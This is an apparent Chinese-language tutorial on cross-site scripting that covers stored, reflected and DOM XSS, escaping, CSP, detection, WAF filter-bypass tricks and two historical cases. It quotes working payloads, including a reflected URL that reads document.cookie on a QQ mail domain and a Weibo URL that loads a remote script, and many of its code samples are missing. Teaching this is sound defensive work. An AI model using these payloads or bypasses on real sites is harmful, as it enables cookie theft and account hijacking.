1. 漏洞简介

1.1 什么是XSS漏洞

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。
XSS可以分为存储型的XSS反射型的XSS还有DOM型的XSS
存储型的危害性更大,因为攻击代码被存储到了数据库中。反射型XSS不存储在数据库中,直接反射在http响应之中。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

1.2 漏洞利用与危害

1.2.1 存储型 XSS

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  1. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  1. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  1. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

1.2.2 反射型 XSS

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  1. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  1. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  1. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。
由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

1.2.3 DOM 型 XSS

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  1. 用户打开带有恶意代码的 URL。
  1. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  1. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞

2. XSS 漏洞预防

通过前面的介绍可以得知,XSS 攻击有两大要素:
  • 攻击者提交恶意代码。
  • 浏览器执行恶意代码。
针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢?

2.1 输入过滤

在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?
答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。
那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?
我们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 &lt; 7
问题是:在提交阶段,我们并不确定内容要输出到哪里。
这里的“并不确定内容要输出到哪里”有两层含义:
  1. 用户的输入内容可能同时提供给前端和客户端,而一旦经过了 escapeHTML(),客户端显示的内容就变成了乱码( 5 &lt; 7 )。
  1. 在前端中,不同的位置所需的编码也不同。
      • 当 5 &lt; 7 作为 HTML 拼接页面时,可以正常显示:
      • 当 5 &lt; 7 通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等。
所以,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。
当然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤还是必要的
既然输入过滤并非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:
  • 防止 HTML 中出现注入。
  • 防止 JavaScript 执行时,执行恶意代码。

2.2 预防存储型和反射型 XSS 攻击

存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。
预防这两种漏洞,有两种常见做法:
  • 改成纯前端渲染,把代码和数据分隔开。
  • 对 HTML 做充分转义。

2.2.1 纯前端渲染

纯前端渲染的过程:
  1. 浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
  1. 然后浏览器执行 HTML 中的 JavaScript。
  1. JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。
在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。
但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。
在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。

2.2.2 转义 HTML

如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。
常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ' / 这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:
 
 
所以要完善 XSS 防护措施,我们要使用更完善更细致的转义策略。
例如 Java 工程里,常用的转义库为 org.owasp.encoder。以下代码引用自 org.owasp.encoder 的官方说明
可见,HTML 的编码是十分复杂的,在不同的上下文里要使用相应的转义规则。

2.3 预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了
在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。
如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患。
DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。
如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。

2.4 其他 XSS 防范措施

虽然在渲染页面和执行 JavaScript 时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。

2.4.1 Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用:
  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

2.4.2 输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

2.4.3 其他安全措施

  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
  • 验证码:防止脚本冒充用户提交危险操作。

3. XSS漏洞检测

3.1 特殊字符串

经过一番搜索,小明找到了两个方法:
  1. 使用通用 XSS 攻击字符串手动检测 XSS 漏洞。
  1. 使用扫描工具自动检测 XSS 漏洞。
Unleashing an Ultimate XSS Polyglot一文中,小明发现了这么一个字符串:
它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()setTimeout()setInterval()Function()innerHTMLdocument.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。
小明只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。
除了手动检测之外,还可以使用自动扫描工具寻找 XSS 漏洞,例如 ArachniMozilla HTTP Observatoryw3af 等。

3.2 自动检索XSS

通过seclists结合burpsuite进行intruder

3.3 BeEF框架使用

4. XSS 攻击的总结

  1. XSS 防范是后端 RD 的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。
不正确。因为: * 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端,是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。 * 转义应该在输出 HTML 时进行,而不是在提交用户输入时。
  1. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。
不正确。 不同的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所需要的转义规则不一致。 业务 RD 需要选取合适的转义库,并针对不同的上下文调用不同的转义规则。
整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。
虽然很难通过技术手段完全避免 XSS,但可以总结以下原则减少漏洞的产生:
  • 利用模板引擎 开启模板引擎自带的 HTML 转义功能。例如: 在 ejs 中,尽量使用 <%= data %> 而不是 <%- data %>; 在 doT.js 中,尽量使用 {{! data } 而不是 {{= data }; 在 FreeMarker 中,确保引擎版本高于 2.3.24,并且选择正确的 freemarker.core.OutputFormat
  • 避免内联事件 尽量不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
  • 避免拼接 HTML 前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElementsetAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。
  • 时刻保持警惕 在插入位置为 DOM 属性、链接等位置时,要打起精神,严加防范。
  • 增加攻击难度,降低攻击后果 通过 CSP、输入长度配置、接口安全措施等方法,增加攻击的难度,降低攻击的后果。
  • 主动检测和发现 可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。

5. XSS绕过

5.1 多种情况绕过

5.1.1 空格被过滤的情况

  1. /替代空格
  1. 用回车符CR(%0d) 和换行符LF(%0a)取代空格

5.1.2 关键字被过滤的情况

  1. 使用其它标签
使用<svg>标签或<img>标签,如:
 
  1. 注释符绕过
 
  1. 大小写绕过
 
  1. 双写关键字
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字来绕过:
 
  1. 字符拼接
利用eval,这里反引号也可以用单引号、双引号
利用top,这里反引号也可以用单引号、双引号
 
  1. 其它字符混淆
有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,那么我们就可以使用其它字符去混淆我们注入的代码了。下面举几个简单的例子:
 
  1. 编码绕过
Unicode编码、escape编码、ASCII编码、十六进制编码、八进制编码
  • HTML实体编码绕过
  • Unicode编码绕过
  • escape编码绕过
  • ASCII码绕过
  • 十六进制编码绕过
这里就是普通的十六进制编码转换,像61就是a转换过来的,6c是l,65是e,依次下去就是alert('xss')。只不过每个前面都要加\x,因为Javascript里\x开头的通常是16进制编码的数据。这里注意\x的x是小写不能大写。
  • 八进制编码绕过
这里转换的也是alert('xss')。具体过程是先将a转换ASCII码十进制为97,再转换成8进制就为141了。记得141前面要加\,因为Javascript里\开头的通常是8进制编码的数据。后面依此类推。
  • base64绕过
 
  1. Javascript伪协议
例子:<table background="javascript:alert(1)"></table>。其中引号可以去掉
支持Javascript伪协议的属性有:img,href,lowsrc,bgsound,background,action,dynsrc
 
  1. ""包裹的js代码利用空格、回车、tab键
js代码中,利用空格,回车,tab键,切记只有""包裹的js代码才可以随便利用空格,回车,tab键,比如:
而这样不行,比如:
而且回车、换行不支持在on事件中使用,空格可以。
Javascript引擎特性:Javascript语句通常以分号结尾,但是如果引擎判断一条语句完整的话,且结尾有换行符,就可以省略分号。
例:
示例:<img src="http://img403.hackdig.com/imgpxy.php?url=%291%28trela%3Atpirc+savaj">中间为tab键

5.1.3 双引号被过滤情况

  1. 用反引号绕过
如果是在html标签中,我们可以不用引号;如果是在javascript的函数中,我们可以用反引号代替单双引号。
举例:
反引号绕过的例子:
  1. 编码绕过

5.1.4 括号被过滤的情况

  1. throw绕过

5.1.5 URL被过滤的情况

  1. 使用URL编码
  1. 使用IP地址
以下都是跳转到http://127.0.0.1
  1. 用 // 或 \\(服务器是Linux系统可以绕过,Windows则不行)代替http://
windows中\本身就有特殊用途,是一个path的写法,所以\\在Windows下是file协议,在linux中才会是当前域的协议
在Windows中:
输入\\www.baidu.com,它就已经提示我会变成file://www.baidu.com
在Linux中:
输入\\www.baidu.com,可以跳转到https://www.baidu.com,即百度。
  1. 用中文代替英文.
如果你在你在域名中输入。中文的句号,浏览器会自动转化成.英文的句号

5.2 绕过函数

5.2.1 htmlspecialchars函数绕过

默认不对处理,可以利用此

6. XSS 攻击案例

6.1 知名网站实例

6.1.1 QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uindomain 未经转义直接输出到 HTML 中。
于是攻击者构建出一个 URL,并引导用户去点击: http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:
浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。

6.1.2 新浪微博名人堂反射型 XSS 漏洞

攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。
于是攻击者构建出一个 URL,然后诱导用户去点击:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:
浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为XSS 蠕虫”。

6.2 他人渗透测试

6.2.1 案例1总结

首先能够输入的地方都可能产生xss攻击,比如:
  • 个人资料:邮箱、地址、昵称、手机号、qq号等
  • 还有:留言、评论、新建文件名、日志地址等
案例1主要的姿势有:
  • 当前端对输入进行了注释时,可以利用burp抓包改包进行绕过。
  • 头像也是可以xss注入的,而且这种攻击更加具有危害性。
  • 当pc端前后端都进行了很多限制时,可以找找手机端网页,大部分手机端网页安全防护远不如pc端。

7. 靶场练习

扩展阅读:Automatic Context-Aware Escaping

上文我们说到:
  1. 合适的 HTML 转义可以有效避免 XSS 漏洞。
  1. 完善的转义库需要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
  1. 业务 RD 需要根据每个插入点所处的上下文,选取不同的转义规则。
通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。
这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。
2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping
所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。
在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:
模板引擎经过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:
目前已经支持 Automatic Context-Aware Escaping 的模板引擎有:

参考文章

 
💡
本文章仅提供学习使用,有任何问题,欢迎您在底部评论区留言,一起交流~
 
 
CSRF跨站请求伪造SQL注入